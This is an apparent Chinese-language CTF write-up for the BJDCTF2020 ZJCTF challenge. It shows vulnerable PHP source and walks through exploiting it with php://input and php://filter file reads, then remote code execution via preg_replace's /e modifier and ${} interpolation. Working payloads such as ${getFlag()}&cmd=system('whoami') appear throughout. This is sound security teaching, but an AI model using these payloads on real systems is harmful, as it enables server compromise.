${}与preg_replace_e模式命令执行--[BJDCTF2020]ZJCTF

总结:**${}**可以命令执行,5.6.x 版本php**preg_replace**``**/e**模式存在命令执行,对一个正则表达式模式或部分模式 两边添加圆括号 将导致反向引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
post I have a dream拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

分析一下代码:
显眼的定义了getFlag()方法可以命令执行
唯一输入点$id = $_GET['id']
重点在complex方法

1
2
3
4
5
6
7
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

complex接受两个参数并返回一个正则匹配的结果
来看看这个正则
preg_replace('/(' . $re . ')/ei','strtolower("\\1")', $str);
$str中匹配到的$re全替换为strtolower("\\1")
然后
foreach($_GET as $re => $str) {echo complex($re, $str). "\n";}
调用了complex方法,并且因为foreach($_GET as $re => $str)导致
$re $str 两个变量都可控
$re 为get传入的参数名,$str为传入参数的值
这里面 preg_replace 使用了 /e 模式,导致代码执行,函数的第二个参数可以被执行

反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

这里的**strtolower("\\1")**相当于 \1,也就是匹配到的第一个字符串,这样就可以通过两个可控变量**$re $str**来构造命令执行
在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。

php声明变量有几种方式 ${a}==$a=={${a}}

如果${}里面是一个方法会发生什么

可以看到执行了phpinfo()
回到题目
传入?\S*=${phpinfo()}
由于foreach($_GET as $re => $str) {echo complex($re, $str). "\n";}
得到$re=\S* $str=${phpinfo()} /// \S*匹配一个任意非空白字符
preg_replace('/(' . $re . ')/ei','strtolower("\\1")', $str);
变成preg_replace('/(\S*)/ei','strtolower("\\1")', ${phpinfo()});
该正则会执行strtolower("\\1")匹配之后就相当于执行strtolower("${phpinfo()}") //strtolower把所有字符转换为小写
此时phpinfo()会被执行

成功执行phpinfo()
同样可以执行题目给的getFlag()方法
?\S*=${getFlag()}&cmd=system('whoami');==?\S*={${getFlag()}}&cmd=system('whoami');


${}与preg_replace_e模式命令执行--[BJDCTF2020]ZJCTF
http://example.com/2023/09/19/${}与preg_replace_e模式命令执行--[BJDCTF2020]ZJCTF/
作者
J_0k3r
发布于
2023年9月19日
许可协议
BY J_0K3R